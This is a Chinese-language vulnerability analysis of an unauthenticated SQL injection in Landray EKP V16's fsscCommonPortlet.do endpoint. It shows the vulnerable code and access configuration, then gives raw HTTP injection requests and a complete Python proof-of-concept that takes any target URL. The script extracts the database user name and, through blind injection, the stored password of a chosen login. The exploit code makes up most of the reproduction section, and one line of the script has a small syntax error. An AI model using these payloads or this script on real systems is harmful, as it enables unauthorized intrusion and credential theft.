蓝凌EKP V16 未授权SQL注入漏洞分析
本地测试环境版本:V16.0.6.R.20220729
漏洞分析
漏洞路径在:/fssc/common/fssc_common_portlet/fsscCommonPortlet.do,对应的Action为FsscCommonPortletAction
,在其getICareByFdId
方法中存在注入漏洞:
public ActionForward getICareByFdId(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
TimeCounter.logCurrentTime("Action-save", true, this.getClass());
KmssMessages messages = new KmssMessages();
try {
if (!"POST".equals(request.getMethod())) {
throw new UnexpectedRequestException();
}
StringBuilder sql = new StringBuilder();
sql.append("select fdNum,docSubject,fdName,createTime,fdStatus,IsFollow from " + FsscCommonICare.class.getName() + " where 1 = 1 and IsFollow = '1' and docCreator = '" + UserUtil.getUser().getFdId() + "'");
String fdNum = request.getParameter("fdNum");
if (StringUtil.isNotNull(fdNum)) {
sql.append(" and fdNum ='" + fdNum + "'");
}
Query query = this.getCommonICareServiceImp(request).getBaseDao().getHibernateSession().createQuery(sql.toString());
List<Object[]> list = query.list();
......
}
fdNum参数可控,很明显的SQL注入。在WEB-INF/KmssConfig/fssc/common/design.xml文件中定义了/fssc/common/
路径下的权限访问:
<?xml version="1.0" encoding="UTF-8"?>
<configs
xsi:schemaLocation="http://www.example.org/design-config ../../design.xsd "
xmlns="http://www.example.org/design-config"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<module
urlPrefix="/fssc/common/"
messageKey="fssc-common:module.fssc.common"
defaultValidator="true">
<roles></roles>
<request
path="tree.jsp*"
defaultValidator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>
<request
path="fssc_common_transfer_field/fsscCommonTransferField.do*"
validatorParameter="recid=fdId,model=com.landray.kmss.fssc.common.model.FsscCommonTransferField"
defaultValidator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)">
<query
queryString="method=edit|update"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>
<query
queryString="method=delete|deleteall"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>
<query
queryString="method=view"
validator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)"/>
<query
queryString="method=updateallSs"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>
<query
queryString="method=updateSs|openSs"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)&[roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)]"/>
<query
queryString="method=updateallS"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>
<query
queryString="method=updateS|openS"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)&[roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)]"/>
<query
queryString="method=updateallSss"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>
<query
queryString="method=updateSss|openSss"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)&[roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)]"/>
</request>
<request
path="fssc_common_transfer_log/fsscCommonTransferLog.do*"
validatorParameter="recid=fdId,model=com.landray.kmss.fssc.common.model.FsscCommonTransferLog"
defaultValidator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)">
<query
queryString="method=edit|update"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>
<query
queryString="method=delete|deleteall"
validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/>
<query
queryString="method=view"
validator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)"/>
</request>
</module>
<profileConfig
key="fssc/common"
messageKey="{fssc-common:module.fssc.common}"
url="/sys/profile/moduleindex.jsp?nav=/fssc/common/tree.jsp"
icon="km_comminfo"
description="{fssc-common:module.fssc.common.description}"/>
</configs>
正常情况下,访问/fssc/common/
路径下的所有action,validator都会为true,即未授权访问,在上面的design.xml配置文件中,只对/fssc/common/
的如下路径做了权限控制:
tree.jsp*
fssc_common_transfer_field/fsscCommonTransferField.do*
fssc_common_transfer_log/fsscCommonTransferLog.do*
而漏洞触发路径/fssc/common/fssc_common_portlet/fsscCommonPortlet.do
并未存在于上述限制路径,所以可直接未授权访问。
漏洞复现
step 1
访问save方法,填充一下数据库,数据包如下:
POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
method=saveICare&fdId=&fdNum=1&docSubject=1&fdName=1&createTime=1&fdStatus=1
step 2
验证存在SQL注入漏洞
- fdNum=asdasd'+or+'1'='2
- fdNum=asdasd'+or+'1'='1
POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
method=getICareByFdId&fdNum=asdasd'+or+'1'='1&ordertype=down
POC脚本如下:(本地测试环境是MSSQL,Mysql or Oracle自行修改脚本)
import argparse
import requests
header = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
}
def exploit_user(url,db_user):
global header
user_name = ""
for i in range(1, 20):
low = 1
top = 255
mid = (low + top) // 2
while low < top:
send_data = {
"method": "getICareByFdId",
"ordertype": "down",
"fdNum": "aNsSl' or ascii(substring((user_name()),{},1)) < {} and '1'='1".format(
i, mid)
}
res = requests.post(url, data=send_data, headers=header)
if "docSubject" in res.text:
top = mid
else:
low = mid + 1
mid = (top + low) // 2
if mid <= 1 or mid >= 254:
break
user_name = user_name + chr(mid - 1)
print("[+]user_name:{}".format(user_name))
print("\033[F", end="")
print("[+]user_name:{}".format(user_name))
def exploit(url,username):
global header
password_len = 32
password = ""
for i in range(1,password_len+1):
low = 1
top = 255
mid = (low + top) // 2
while low < top:
send_data = {
"method": "getICareByFdId",
"ordertype": "down",
"fdNum": "aNsSl' or ascii(substring((select fdPassword from com.landray.kmss.sys.organization.model.SysOrgPerson where fdLoginName='{}'),{},1)) < {} and '1'='1".format(
username,i, mid)
}
res = requests.post(url,data=send_data,headers=header)
if "docSubject" in res.text:
top = mid
else:
low = mid + 1
mid = (top + low) // 2
password = password + chr(mid-1)
print("[+]password:{}".format(password))
print("\033[F",end="")
print("[+]password:{}".format(password))
def scan_vuln(url,username,db_user):
global header
req_url = url.strip("/") + "/fssc/common/fssc_common_portlet/fsscCommonPortlet.do"
step_data = {
"method":"saveICare",
"fdId:"","
"fdNum":"1",
"docSubject":"1",
"fdName":"test",
"createTime":"1",
"fdStatus":"1"
}
try:
req1 = requests.post(req_url,data=step_data,headers=header)
if req1.status_code == 200 and "result" in req1.text:
print("[+]Vuln exist,start inject password:")
if db_user == "check":
exploit_user(req_url,db_user)
else:
exploit(req_url,username)
else:
print("[-]Vuln not exist.")
exit(0)
except:
print("[-]request error.")
exit(0)
pass
def main():
parser = argparse.ArgumentParser(description="Process command line arguments")
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-db_user', '--db_user', required=False, help='db_user')
parser.add_argument('-U', '--username', required=False, help='Username argument')
args = parser.parse_args()
url = args.url
db_user = args.db_user
username = args.username
scan_vuln(url, username, db_user)
if __name__ == '__main__':
main()
0 条评论
可输入 255 字